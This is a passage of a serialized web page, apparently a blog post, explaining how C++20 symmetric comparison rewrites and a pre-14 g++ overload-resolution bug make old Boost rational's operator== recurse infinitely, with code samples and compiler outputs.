member\"",{"type":24,"tag":271,"props":97355,"children":97356},{"style":624},[97357],{"type":29,"value":97358}," \u003C\u003C",{"type":24,"tag":271,"props":97360,"children":97361},{"style":288},[97362],{"type":29,"value":97363}," std::endl;\n",{"type":24,"tag":271,"props":97365,"children":97366},{"class":273,"line":347},[97367,97371,97375],{"type":24,"tag":271,"props":97368,"children":97369},{"style":749},[97370],{"type":29,"value":8905},{"type":24,"tag":271,"props":97372,"children":97373},{"style":278},[97374],{"type":29,"value":1717},{"type":24,"tag":271,"props":97376,"children":97377},{"style":288},[97378],{"type":29,"value":1069},{"type":24,"tag":271,"props":97380,"children":97381},{"class":273,"line":356},[97382],{"type":24,"tag":271,"props":97383,"children":97384},{"style":288},[97385],{"type":29,"value":4385},{"type":24,"tag":271,"props":97387,"children":97388},{"class":273,"line":365},[97389],{"type":24,"tag":271,"props":97390,"children":97391},{"style":288},[97392],{"type":29,"value":4006},{"type":24,"tag":271,"props":97394,"children":97395},{"class":273,"line":374},[97396],{"type":24,"tag":271,"props":97397,"children":97398},{"emptyLinePlaceholder":16},[97399],{"type":29,"value":327},{"type":24,"tag":271,"props":97401,"children":97402},{"class":273,"line":384},[97403,97407,97411,97415,97420,97424,97428,97432],{"type":24,"tag":271,"props":97404,"children":97405},{"style":278},[97406],{"type":29,"value":73003},{"type":24,"tag":271,"props":97408,"children":97409},{"style":288},[97410],{"type":29,"value":16432},{"type":24,"tag":271,"props":97412,"children":97413},{"style":278},[97414],{"type":29,"value":77198},{"type":24,"tag":271,"props":97416,"children":97417},{"style":3887},[97418],{"type":29,"value":97419}," Arg",{"type":24,"tag":271,"props":97421,"children":97422},{"style":288},[97423],{"type":29,"value":158},{"type":24,"tag":271,"props":97425,"children":97426},{"style":278},[97427],{"type":29,"value":77198},{"type":24,"tag":271,"props":97429,"children":97430},{"style":3887},[97431],{"type":29,"value":97238},{"type":24,"tag":271,"props":97433,"children":97434},{"style":288},[97435],{"type":29,"value":13709},{"type":24,"tag":271,"props":97437,"children":97438},{"class":273,"line":393},[97439,97443,97447,97451,97455,97459,97463,97468,97472,97476,97480,97484,97488,97492,97496,97501],{"type":24,"tag":271,"props":97440,"children":97441},{"style":278},[97442],{"type":29,"value":37360},{"type":24,"tag":271,"props":97444,"children":97445},{"style":278},[97446],{"type":29,"value":97302},{"type":24,"tag":271,"props":97448,"children":97449},{"style":288},[97450],{"type":29,"value":97307},{"type":24,"tag":271,"props":97452,"children":97453},{"style":278},[97454],{"type":29,"value":611},{"type":24,"tag":271,"props":97456,"children":97457},{"style":3887},[97458],{"type":29,"value":97254},{"type":24,"tag":271,"props":97460,"children":97461},{"style":288},[97462],{"type":29,"value":801},{"type":24,"tag":271,"props":97464,"children":97465},{"style":3887},[97466],{"type":29,"value":97467},"IntType",{"type":24,"tag":271,"props":97469,"children":97470},{"style":288},[97471],{"type":29,"value":18165},{"type":24,"tag":271,"props":97473,"children":97474},{"style":278},[97475],{"type":29,"value":1137},{"type":24,"tag":271,"props":97477,"children":97478},{"style":630},[97479],{"type":29,"value":96626},{"type":24,"tag":271,"props":97481,"children":97482},{"style":288},[97483],{"type":29,"value":158},{"type":24,"tag":271,"props":97485,"children":97486},{"style":278},[97487],{"type":29,"value":611},{"type":24,"tag":271,"props":97489,"children":97490},{"style":3887},[97491],{"type":29,"value":97419},{"type":24,"tag":271,"props":97493,"children":97494},{"style":278},[97495],{"type":29,"value":1137},{"type":24,"tag":271,"props":97497,"children":97498},{"style":630},[97499],{"type":29,"value":97500}," b",{"type":24,"tag":271,"props":97502,"children":97503},{"style":288},[97504],{"type":29,"value":919},{"type":24,"tag":271,"props":97506,"children":97507},{"class":273,"line":402},[97508,97513,97517,97522,97526],{"type":24,"tag":271,"props":97509,"children":97510},{"style":288},[97511],{"type":29,"value":97512}," std::cout ",{"type":24,"tag":271,"props":97514,"children":97515},{"style":624},[97516],{"type":29,"value":97348},{"type":24,"tag":271,"props":97518,"children":97519},{"style":378},[97520],{"type":29,"value":97521}," \"g++ \u003C14 resolved non-member\"",{"type":24,"tag":271,"props":97523,"children":97524},{"style":624},[97525],{"type":29,"value":97358},{"type":24,"tag":271,"props":97527,"children":97528},{"style":288},[97529],{"type":29,"value":97363},{"type":24,"tag":271,"props":97531,"children":97532},{"class":273,"line":411},[97533,97537,97541],{"type":24,"tag":271,"props":97534,"children":97535},{"style":749},[97536],{"type":29,"value":9640},{"type":24,"tag":271,"props":97538,"children":97539},{"style":278},[97540],{"type":29,"value":1877},{"type":24,"tag":271,"props":97542,"children":97543},{"style":288},[97544],{"type":29,"value":1069},{"type":24,"tag":271,"props":97546,"children":97547},{"class":273,"line":420},[97548],{"type":24,"tag":271,"props":97549,"children":97550},{"style":288},[97551],{"type":29,"value":1171},{"type":24,"tag":271,"props":97553,"children":97554},{"class":273,"line":429},[97555],{"type":24,"tag":271,"props":97556,"children":97557},{"emptyLinePlaceholder":16},[97558],{"type":29,"value":327},{"type":24,"tag":271,"props":97560,"children":97561},{"class":273,"line":438},[97562,97566,97571],{"type":24,"tag":271,"props":97563,"children":97564},{"style":278},[97565],{"type":29,"value":3923},{"type":24,"tag":271,"props":97567,"children":97568},{"style":598},[97569],{"type":29,"value":97570}," main",{"type":24,"tag":271,"props":97572,"children":97573},{"style":288},[97574],{"type":29,"value":23434},{"type":24,"tag":271,"props":97576,"children":97577},{"class":273,"line":447},[97578,97583,97587,97591,97595],{"type":24,"tag":271,"props":97579,"children":97580},{"style":288},[97581],{"type":29,"value":97582}," rational",{"type":24,"tag":271,"props":97584,"children":97585},{"style":624},[97586],{"type":29,"value":801},{"type":24,"tag":271,"props":97588,"children":97589},{"style":278},[97590],{"type":29,"value":3923},{"type":24,"tag":271,"props":97592,"children":97593},{"style":624},[97594],{"type":29,"value":18165},{"type":24,"tag":271,"props":97596,"children":97597},{"style":288},[97598],{"type":29,"value":97599}," r;\n",{"type":24,"tag":271,"props":97601,"children":97602},{"class":273,"line":455},[97603,97607,97612,97616,97620],{"type":24,"tag":271,"props":97604,"children":97605},{"style":749},[97606],{"type":29,"value":9640},{"type":24,"tag":271,"props":97608,"children":97609},{"style":288},[97610],{"type":29,"value":97611}," r ",{"type":24,"tag":271,"props":97613,"children":97614},{"style":624},[97615],{"type":29,"value":5059},{"type":24,"tag":271,"props":97617,"children":97618},{"style":477},[97619],{"type":29,"value":767},{"type":24,"tag":271,"props":97621,"children":97622},{"style":288},[97623],{"type":29,"value":1069},{"type":24,"tag":271,"props":97625,"children":97626},{"class":273,"line":464},[97627],{"type":24,"tag":271,"props":97628,"children":97629},{"style":288},[97630],{"type":29,"value":1171},{"type":24,"tag":97,"props":97632,"children":97633},{},[97634],{"type":24,"tag":101,"props":97635,"children":97636},{},[97637],{"type":29,"value":97638},"Compile with g++\u003C14:",{"type":24,"tag":261,"props":97640,"children":97642},{"code":97641,"language":11963,"meta":7,"className":11964,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[97643],{"type":24,"tag":135,"props":97644,"children":97645},{"__ignoreMap":7},[97646],{"type":24,"tag":271,"props":97647,"children":97648},{"class":273,"line":274},[97649,97654,97659,97664,97669,97673,97678],{"type":24,"tag":271,"props":97650,"children":97651},{"style":598},[97652],{"type":29,"value":97653},"g++",{"type":24,"tag":271,"props":97655,"children":97656},{"style":378},[97657],{"type":29,"value":97658}," -std=c++17",{"type":24,"tag":271,"props":97660,"children":97661},{"style":378},[97662],{"type":29,"value":97663}," main.cpp",{"type":24,"tag":271,"props":97665,"children":97666},{"style":378},[97667],{"type":29,"value":97668}," -o",{"type":24,"tag":271,"props":97670,"children":97671},{"style":378},[97672],{"type":29,"value":38353},{"type":24,"tag":271,"props":97674,"children":97675},{"style":288},[97676],{"type":29,"value":97677}," && ",{"type":24,"tag":271,"props":97679,"children":97680},{"style":598},[97681],{"type":29,"value":97682},"./test\n",{"type":24,"tag":25,"props":97684,"children":97685},{},[97686],{"type":29,"value":97687},"Output (on g++ 11.4):",{"type":24,"tag":261,"props":97689,"children":97691},{"code":97690},"g++ \u003C14 resolved non-member\n",[97692],{"type":24,"tag":135,"props":97693,"children":97694},{"__ignoreMap":7},[97695],{"type":29,"value":97690},{"type":24,"tag":97,"props":97697,"children":97698},{},[97699],{"type":24,"tag":101,"props":97700,"children":97701},{},[97702],{"type":29,"value":97703},"Compile with clang++:",{"type":24,"tag":261,"props":97705,"children":97707},{"code":97706,"language":11963,"meta":7,"className":11964,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[97708],{"type":24,"tag":135,"props":97709,"children":97710},{"__ignoreMap":7},[97711],{"type":24,"tag":271,"props":97712,"children":97713},{"class":273,"line":274},[97714,97719,97723,97727,97731,97735,97739],{"type":24,"tag":271,"props":97715,"children":97716},{"style":598},[97717],{"type":29,"value":97718},"clang++",{"type":24,"tag":271,"props":97720,"children":97721},{"style":378},[97722],{"type":29,"value":97658},{"type":24,"tag":271,"props":97724,"children":97725},{"style":378},[97726],{"type":29,"value":97663},{"type":24,"tag":271,"props":97728,"children":97729},{"style":378},[97730],{"type":29,"value":97668},{"type":24,"tag":271,"props":97732,"children":97733},{"style":378},[97734],{"type":29,"value":38353},{"type":24,"tag":271,"props":97736,"children":97737},{"style":288},[97738],{"type":29,"value":97677},{"type":24,"tag":271,"props":97740,"children":97741},{"style":598},[97742],{"type":29,"value":97682},{"type":24,"tag":25,"props":97744,"children":97745},{},[97746],{"type":29,"value":97747},"Output:",{"type":24,"tag":261,"props":97749,"children":97751},{"code":97750},"clang++ resolved member\n",[97752],{"type":24,"tag":135,"props":97753,"children":97754},{"__ignoreMap":7},[97755],{"type":29,"value":97750},{"type":24,"tag":25,"props":97757,"children":97758},{},[97759],{"type":29,"value":97760},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":24,"tag":26485,"props":97762,"children":97763},{},[],{"type":24,"tag":62,"props":97765,"children":97767},{"id":97766},"part-ii-c20s-symmetric-comparison-feature",[97768],{"type":29,"value":97769},"Part II: C++20’s Symmetric Comparison Feature",{"type":24,"tag":85,"props":97771,"children":97773},{"id":97772},"what-changed-in-c20",[97774],{"type":29,"value":97775},"What Changed in C++20?",{"type":24,"tag":25,"props":97777,"children":97778},{},[97779,97781,97794,97795,97800],{"type":29,"value":97780},"C++20 introduced the ",{"type":24,"tag":32,"props":97782,"children":97785},{"href":97783,"rel":97784},"https://en.cppreference.com/w/cpp/language/operator_comparison",[36],[97786,97788],{"type":29,"value":97787},"spaceship operator ",{"type":24,"tag":135,"props":97789,"children":97791},{"className":97790},[],[97792],{"type":29,"value":97793},"\u003C=>",{"type":29,"value":518},{"type":24,"tag":213,"props":97796,"children":97797},{},[97798],{"type":29,"value":97799},"defaulted comparison rewrites",{"type":29,"value":41},{"type":24,"tag":25,"props":97802,"children":97803},{},[97804,97806,97811],{"type":29,"value":97805},"When you define a two-argument ",{"type":24,"tag":135,"props":97807,"children":97809},{"className":97808},[],[97810],{"type":29,"value":97045},{"type":29,"value":97812},", C++20 may implicitly define the \"reversed\" version:",{"type":24,"tag":97,"props":97814,"children":97815},{},[97816,97827],{"type":24,"tag":101,"props":97817,"children":97818},{},[97819,97821],{"type":29,"value":97820},"If you define: ",{"type":24,"tag":135,"props":97822,"children":97824},{"className":97823},[],[97825],{"type":29,"value":97826},"bool operator==(T1, T2);",{"type":24,"tag":101,"props":97828,"children":97829},{},[97830,97832,97838],{"type":29,"value":97831},"Then ",{"type":24,"tag":135,"props":97833,"children":97835},{"className":97834},[],[97836],{"type":29,"value":97837},"T2 == T1",{"type":29,"value":97839}," may call the same function by reversing the arguments.",{"type":24,"tag":25,"props":97841,"children":97842},{},[97843,97845,97850,97851,97856,97858,97864,97866,97871],{"type":29,"value":97844},"This rewrite is ",{"type":24,"tag":213,"props":97846,"children":97847},{},[97848],{"type":29,"value":97849},"recursive",{"type":29,"value":23028},{"type":24,"tag":135,"props":97852,"children":97854},{"className":97853},[],[97855],{"type":29,"value":97037},{"type":29,"value":97857}," becomes ",{"type":24,"tag":135,"props":97859,"children":97861},{"className":97860},[],[97862],{"type":29,"value":97863},"b == a",{"type":29,"value":97865},", which becomes ",{"type":24,"tag":135,"props":97867,"children":97869},{"className":97868},[],[97870],{"type":29,"value":97037},{"type":29,"value":97872}," again, and so on — if not handled carefully.",{"type":24,"tag":25,"props":97874,"children":97875},{},[97876],{"type":29,"value":97877},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":24,"tag":26485,"props":97879,"children":97880},{},[],{"type":24,"tag":62,"props":97882,"children":97884},{"id":97883},"part-iii-the-boost-trapdoor",[97885],{"type":29,"value":97886},"Part III: The Boost Trapdoor",{"type":24,"tag":25,"props":97888,"children":97889},{},[97890,97892,97898,97900,97905],{"type":29,"value":97891},"The old Boost ",{"type":24,"tag":135,"props":97893,"children":97895},{"className":97894},[],[97896],{"type":29,"value":97897},"rational",{"type":29,"value":97899}," class (prior to v1.75) defined both member function and non-member function of ",{"type":24,"tag":135,"props":97901,"children":97903},{"className":97902},[],[97904],{"type":29,"value":97045},{"type":29,"value":12210},{"type":24,"tag":261,"props":97907,"children":97909},{"code":97908,"language":3861,"meta":7,"className":3859,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n ...\npublic:\n ...\n \n template \u003Cclass T>\n BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n {\n return ((den == IntType(1)) && (num == i));\n }\n ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n return a == b; \n}\n",[97910],{"type":24,"tag":135,"props":97911,"children":97912},{"__ignoreMap":7},[97913,97948,97971,97983,97990,97997,98004,98011,98018,98041,98129,98136,98187,98194,98201,98208,98215,98250,98258,98286,98325,98390,98397,98417],{"type":24,"tag":271,"props":97914,"children":97915},{"class":273,"line":274},[97916,97920,97924,97928,97932,97936,97940,97944],{"type":24,"tag":271,"props":97917,"children":97918},{"style":278},[97919],{"type":29,"value":73003},{"type":24,"tag":271,"props":97921,"children":97922},{"style":288},[97923],{"type":29,"value":16432},{"type":24,"tag":271,"props":97925,"children":97926},{"style":278},[97927],{"type":29,"value":77198},{"type":24,"tag":271,"props":97929,"children":97930},{"style":3887},[97931],{"type":29,"value":97419},{"type":24,"tag":271,"props":97933,"children":97934},{"style":288},[97935],{"type":29,"value":158},{"type":24,"tag":271,"props":97937,"children":97938},{"style":278},[97939],{"type":29,"value":77198},{"type":24,"tag":271,"props":97941,"children":97942},{"style":3887},[97943],{"type":29,"value":97238},{"type":24,"tag":271,"props":97945,"children":97946},{"style":288},[97947],{"type":29,"value":13709},{"type":24,"tag":271,"props":97949,"children":97950},{"class":273,"line":284},[97951,97955,97959,97963,97967],{"type":24,"tag":271,"props":97952,"children":97953},{"style":278},[97954],{"type":29,"value":73003},{"type":24,"tag":271,"props":97956,"children":97957},{"style":288},[97958],{"type":29,"value":16432},{"type":24,"tag":271,"props":97960,"children":97961},{"style":278},[97962],{"type":29,"value":97233},{"type":24,"tag":271,"props":97964,"children":97965},{"style":3887},[97966],{"type":29,"value":97238},{"type":24,"tag":271,"props":97968,"children":97969},{"style":288},[97970],{"type":29,"value":13709},{"type":24,"tag":271,"props":97972,"children":97973},{"class":273,"line":294},[97974,97978],{"type":24,"tag":271,"props":97975,"children":97976},{"style":278},[97977],{"type":29,"value":77198},{"type":24,"tag":271,"props":97979,"children":97980},{"style":3887},[97981],{"type":29,"value":97982}," rational\n",{"type":24,"tag":271,"props":97984,"children":97985},{"class":273,"line":303},[97986],{"type":24,"tag":271,"props":97987,"children":97988},{"style":288},[97989],{"type":29,"value":702},{"type":24,"tag":271,"props":97991,"children":97992},{"class":273,"line":312},[97993],{"type":24,"tag":271,"props":97994,"children":97995},{"style":288},[97996],{"type":29,"value":28027},{"type":24,"tag":271,"props":97998,"children":97999},{"class":273,"line":321},[98000],{"type":24,"tag":271,"props":98001,"children":98002},{"style":278},[98003],{"type":29,"value":97266},{"type":24,"tag":271,"props":98005,"children":98006},{"class":273,"line":330},[98007],{"type":24,"tag":271,"props":98008,"children":98009},{"style":288},[98010],{"type":29,"value":28027},{"type":24,"tag":271,"props":98012,"children":98013},{"class":273,"line":339},[98014],{"type":24,"tag":271,"props":98015,"children":98016},{"style":288},[98017],{"type":29,"value":68572},{"type":24,"tag":271,"props":98019,"children":98020},{"class":273,"line":347},[98021,98025,98029,98033,98037],{"type":24,"tag":271,"props":98022,"children":98023},{"style":278},[98024],{"type":29,"value":97274},{"type":24,"tag":271,"props":98026,"children":98027},{"style":288},[98028],{"type":29,"value":16432},{"type":24,"tag":271,"props":98030,"children":98031},{"style":278},[98032],{"type":29,"value":77198},{"type":24,"tag":271,"props":98034,"children":98035},{"style":3887},[98036],{"type":29,"value":13635},{"type":24,"tag":271,"props":98038,"children":98039},{"style":288},[98040],{"type":29,"value":13709},{"type":24,"tag":271,"props":98042,"children":98043},{"class":273,"line":356},[98044,98049,98053,98058,98062,98066,98070,98075,98079,98083,98087,98091,98095,98099,98104,98108,98112,98116,98120,98124],{"type":24,"tag":271,"props":98045,"children":98046},{"style":288},[98047],{"type":29,"value":98048}," BOOST_CONSTEXPR ",{"type":24,"tag":271,"props":98050,"children":98051},{"style":278},[98052],{"type":29,"value":97233},{"type":24,"tag":271,"props":98054,"children":98055},{"style":288},[98056],{"type":29,"value":98057}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":24,"tag":271,"props":98059,"children":98060},{"style":3887},[98061],{"type":29,"value":13704},{"type":24,"tag":271,"props":98063,"children":98064},{"style":288},[98065],{"type":29,"value":158},{"type":24,"tag":271,"props":98067,"children":98068},{"style":3887},[98069],{"type":29,"value":97467},{"type":24,"tag":271,"props":98071,"children":98072},{"style":288},[98073],{"type":29,"value":98074},">::",{"type":24,"tag":271,"props":98076,"children":98077},{"style":3887},[98078],{"type":29,"value":46820},{"type":24,"tag":271,"props":98080,"children":98081},{"style":288},[98082],{"type":29,"value":158},{"type":24,"tag":271,"props":98084,"children":98085},{"style":278},[98086],{"type":29,"value":37360},{"type":24,"tag":271,"props":98088,"children":98089},{"style":288},[98090],{"type":29,"value":98074},{"type":24,"tag":271,"props":98092,"children":98093},{"style":3887},[98094],{"type":29,"value":40427},{"type":24,"tag":271,"props":98096,"children":98097},{"style":278},[98098],{"type":29,"value":97302},{"type":24,"tag":271,"props":98100,"children":98101},{"style":288},[98102],{"type":29,"value":98103},"== (",{"type":24,"tag":271,"props":98105,"children":98106},{"style":278},[98107],{"type":29,"value":611},{"type":24,"tag":271,"props":98109,"children":98110},{"style":3887},[98111],{"type":29,"value":13635},{"type":24,"tag":271,"props":98113,"children":98114},{"style":278},[98115],{"type":29,"value":1137},{"type":24,"tag":271,"props":98117,"children":98118},{"style":630},[98119],{"type":29,"value":11125},{"type":24,"tag":271,"props":98121,"children":98122},{"style":288},[98123],{"type":29,"value":8823},{"type":24,"tag":271,"props":98125,"children":98126},{"style":278},[98127],{"type":29,"value":98128},"const\n",{"type":24,"tag":271,"props":98130,"children":98131},{"class":273,"line":365},[98132],{"type":24,"tag":271,"props":98133,"children":98134},{"style":288},[98135],{"type":29,"value":4203},{"type":24,"tag":271,"props":98137,"children":98138},{"class":273,"line":374},[98139,98144,98149,98153,98157,98161,98165,98169,98173,98178,98182],{"type":24,"tag":271,"props":98140,"children":98141},{"style":749},[98142],{"type":29,"value":98143}," return",{"type":24,"tag":271,"props":98145,"children":98146},{"style":288},[98147],{"type":29,"value":98148}," ((den ",{"type":24,"tag":271,"props":98150,"children":98151},{"style":624},[98152],{"type":29,"value":5059},{"type":24,"tag":271,"props":98154,"children":98155},{"style":598},[98156],{"type":29,"value":97238},{"type":24,"tag":271,"props":98158,"children":98159},{"style":288},[98160],{"type":29,"value":606},{"type":24,"tag":271,"props":98162,"children":98163},{"style":477},[98164],{"type":29,"value":156},{"type":24,"tag":271,"props":98166,"children":98167},{"style":288},[98168],{"type":29,"value":16550},{"type":24,"tag":271,"props":98170,"children":98171},{"style":624},[98172],{"type":29,"value":79985},{"type":24,"tag":271,"props":98174,"children":98175},{"style":288},[98176],{"type":29,"value":98177}," (num ",{"type":24,"tag":271,"props":98179,"children":98180},{"style":624},[98181],{"type":29,"value":5059},{"type":24,"tag":271,"props":98183,"children":98184},{"style":288},[98185],{"type":29,"value":98186}," i));\n",{"type":24,"tag":271,"props":98188,"children":98189},{"class":273,"line":384},[98190],{"type":24,"tag":271,"props":98191,"children":98192},{"style":288},[98193],{"type":29,"value":4385},{"type":24,"tag":271,"props":98195,"children":98196},{"class":273,"line":393},[98197],{"type":24,"tag":271,"props":98198,"children":98199},{"style":288},[98200],{"type":29,"value":28027},{"type":24,"tag":271,"props":98202,"children":98203},{"class":273,"line":402},[98204],{"type":24,"tag":271,"props":98205,"children":98206},{"style":288},[98207],{"type":29,"value":1171},{"type":24,"tag":271,"props":98209,"children":98210},{"class":273,"line":411},[98211],{"type":24,"tag":271,"props":98212,"children":98213},{"emptyLinePlaceholder":16},[98214],{"type":29,"value":327},{"type":24,"tag":271,"props":98216,"children":98217},{"class":273,"line":420},[98218,98222,98226,98230,98234,98238,98242,98246],{"type":24,"tag":271,"props":98219,"children":98220},{"style":278},[98221],{"type":29,"value":73003},{"type":24,"tag":271,"props":98223,"children":98224},{"style":288},[98225],{"type":29,"value":16432},{"type":24,"tag":271,"props":98227,"children":98228},{"style":278},[98229],{"type":29,"value":77198},{"type":24,"tag":271,"props":98231,"children":98232},{"style":3887},[98233],{"type":29,"value":97419},{"type":24,"tag":271,"props":98235,"children":98236},{"style":288},[98237],{"type":29,"value":158},{"type":24,"tag":271,"props":98239,"children":98240},{"style":278},[98241],{"type":29,"value":77198},{"type":24,"tag":271,"props":98243,"children":98244},{"style":3887},[98245],{"type":29,"value":97238},{"type":24,"tag":271,"props":98247,"children":98248},{"style":288},[98249],{"type":29,"value":13709},{"type":24,"tag":271,"props":98251,"children":98252},{"class":273,"line":429},[98253],{"type":24,"tag":271,"props":98254,"children":98255},{"style":288},[98256],{"type":29,"value":98257},"BOOST_CONSTEXPR\n",{"type":24,"tag":271,"props":98259,"children":98260},{"class":273,"line":438},[98261,98266,98271,98276,98281],{"type":24,"tag":271,"props":98262,"children":98263},{"style":278},[98264],{"type":29,"value":98265},"inline",{"type":24,"tag":271,"props":98267,"children":98268},{"style":278},[98269],{"type":29,"value":98270}," typename",{"type":24,"tag":271,"props":98272,"children":98273},{"style":288},[98274],{"type":29,"value":98275}," boost::",{"type":24,"tag":271,"props":98277,"children":98278},{"style":3887},[98279],{"type":29,"value":98280},"enable_if_c",{"type":24,"tag":271,"props":98282,"children":98283},{"style":624},[98284],{"type":29,"value":98285}," \u003C\n",{"type":24,"tag":271,"props":98287,"children":98288},{"class":273,"line":447},[98289,98294,98299,98303,98307,98312,98316,98320],{"type":24,"tag":271,"props":98290,"children":98291},{"style":288},[98292],{"type":29,"value":98293}," rational_detail::is_compatible_integer\u003C",{"type":24,"tag":271,"props":98295,"children":98296},{"style":3887},[98297],{"type":29,"value":98298},"Arg",{"type":24,"tag":271,"props":98300,"children":98301},{"style":288},[98302],{"type":29,"value":158},{"type":24,"tag":271,"props":98304,"children":98305},{"style":3887},[98306],{"type":29,"value":97467},{"type":24,"tag":271,"props":98308,"children":98309},{"style":288},[98310],{"type":29,"value":98311},">::value, ",{"type":24,"tag":271,"props":98313,"children":98314},{"style":278},[98315],{"type":29,"value":37360},{"type":24,"tag":271,"props":98317,"children":98318},{"style":624},[98319],{"type":29,"value":18165},{"type":24,"tag":271,"props":98321,"children":98322},{"style":288},[98323],{"type":29,"value":98324},"::type\n",{"type":24,"tag":271,"props":98326,"children":98327},{"class":273,"line":455},[98328,98333,98338,98342,98346,98350,98354,98358,98362,98366,98370,98374,98378,98382,98386],{"type":24,"tag":271,"props":98329,"children":98330},{"style":278},[98331],{"type":29,"value":98332}," operator",{"type":24,"tag":271,"props":98334,"children":98335},{"style":288},[98336],{"type":29,"value":98337}," == (",{"type":24,"tag":271,"props":98339,"children":98340},{"style":278},[98341],{"type":29,"value":611},{"type":24,"tag":271,"props":98343,"children":98344},{"style":3887},[98345],{"type":29,"value":97419},{"type":24,"tag":271,"props":98347,"children":98348},{"style":278},[98349],{"type":29,"value":1137},{"type":24,"tag":271,"props":98351,"children":98352},{"style":630},[98353],{"type":29,"value":97500},{"type":24,"tag":271,"props":98355,"children":98356},{"style":288},[98357],{"type":29,"value":158},{"type":24,"tag":271,"props":98359,"children":98360},{"style":278},[98361],{"type":29,"value":611},{"type":24,"tag":271,"props":98363,"children":98364},{"style":3887},[98365],{"type":29,"value":97254},{"type":24,"tag":271,"props":98367,"children":98368},{"style":288},[98369],{"type":29,"value":801},{"type":24,"tag":271,"props":98371,"children":98372},{"style":3887},[98373],{"type":29,"value":97467},{"type":24,"tag":271,"props":98375,"children":98376},{"style":288},[98377],{"type":29,"value":18165},{"type":24,"tag":271,"props":98379,"children":98380},{"style":278},[98381],{"type":29,"value":1137},{"type":24,"tag":271,"props":98383,"children":98384},{"style":630},[98385],{"type":29,"value":96626},{"type":24,"tag":271,"props":98387,"children":98388},{"style":288},[98389],{"type":29,"value":694},{"type":24,"tag":271,"props":98391,"children":98392},{"class":273,"line":464},[98393],{"type":24,"tag":271,"props":98394,"children":98395},{"style":288},[98396],{"type":29,"value":702},{"type":24,"tag":271,"props":98398,"children":98399},{"class":273,"line":473},[98400,98404,98408,98412],{"type":24,"tag":271,"props":98401,"children":98402},{"style":749},[98403],{"type":29,"value":47024},{"type":24,"tag":271,"props":98405,"children":98406},{"style":288},[98407],{"type":29,"value":24458},{"type":24,"tag":271,"props":98409,"children":98410},{"style":624},[98411],{"type":29,"value":5059},{"type":24,"tag":271,"props":98413,"children":98414},{"style":288},[98415],{"type":29,"value":98416}," b; \n",{"type":24,"tag":271,"props":98418,"children":98419},{"class":273,"line":483},[98420],{"type":24,"tag":271,"props":98421,"children":98422},{"style":288},[98423],{"type":29,"value":1171},{"type":24,"tag":25,"props":98425,"children":98426},{},[98427,98429,98435],{"type":29,"value":98428},"This was designed under C++17 semantics. Back then, ",{"type":24,"tag":135,"props":98430,"children":98432},{"className":98431},[],[98433],{"type":29,"value":98434},"rhs == lhs",{"type":29,"value":98436}," would fall back to member overloads if available. All good.",{"type":24,"tag":25,"props":98438,"children":98439},{},[98440,98442,98447,98448,98454],{"type":29,"value":98441},"But under ",{"type":24,"tag":135,"props":98443,"children":98445},{"className":98444},[],[98446],{"type":29,"value":96991},{"type":29,"value":7970},{"type":24,"tag":135,"props":98449,"children":98451},{"className":98450},[],[98452],{"type":29,"value":98453},"G++ \u003C 14",{"type":29,"value":12210},{"type":24,"tag":97,"props":98456,"children":98457},{},[98458,98463,98468,98473],{"type":24,"tag":101,"props":98459,"children":98460},{},[98461],{"type":29,"value":98462},"G++ incorrectly chooses this non-member operator first",{"type":24,"tag":101,"props":98464,"children":98465},{},[98466],{"type":29,"value":98467},"C++20 reverses the comparison",{"type":24,"tag":101,"props":98469,"children":98470},{},[98471],{"type":29,"value":98472},"Which calls the same function again with arguments flipped",{"type":24,"tag":101,"props":98474,"children":98475},{},[98476],{"type":29,"value":98477},"And so on...",{"type":24,"tag":25,"props":98479,"children":98480},{},[98481,98483,98488],{"type":29,"value":98482},"This creates ",{"type":24,"tag":213,"props":98484,"children":98485},{},[98486],{"type":29,"value":98487},"infinite recursion",{"type":29,"value":41},{"type":24,"tag":25,"props":98490,"children":98491},{},[98492],{"type":29,"value":98493},"A minimal example:",{"type":24,"tag":261,"props":98495,"children":98497},{"code":98496,"language":3861,"meta":7,"className":3859,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n boost::rational\u003Cint> r;\n return r == 0;\n}\n",[98498],{"type":24,"tag":135,"props":98499,"children":98500},{"__ignoreMap":7},[98501,98509,98521,98528,98543,98567,98590],{"type":24,"tag":271,"props":98502,"children":98503},{"class":273,"line":274},[98504],{"type":24,"tag":271,"props":98505,"children":98506},{"style":2058},[98507],{"type":29,"value":98508},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":24,"tag":271,"props":98510,"children":98511},{"class":273,"line":284},[98512,98516],{"type":24,"tag":271,"props":98513,"children":98514},{"style":749},[98515],{"type":29,"value":97205},{"type":24,"tag":271,"props":98517,"children":98518},{"style":378},[98519],{"type":29,"value":98520}," \u003Cboost/rational.hpp>\n",{"type":24,"tag":271,"props":98522,"children":98523},{"class":273,"line":294},[98524],{"type":24,"tag":271,"props":98525,"children":98526},{"emptyLinePlaceholder":16},[98527],{"type":29,"value":327},{"type":24,"tag":271,"props":98529,"children":98530},{"class":273,"line":303},[98531,98535,98539],{"type":24,"tag":271,"props":98532,"children":98533},{"style":278},[98534],{"type":29,"value":3923},{"type":24,"tag":271,"props":98536,"children":98537},{"style":598},[98538],{"type":29,"value":97570},{"type":24,"tag":271,"props":98540,"children":98541},{"style":288},[98542],{"type":29,"value":23434},{"type":24,"tag":271,"props":98544,"children":98545},{"class":273,"line":312},[98546,98551,98555,98559,98563],{"type":24,"tag":271,"props":98547,"children":98548},{"style":288},[98549],{"type":29,"value":98550}," 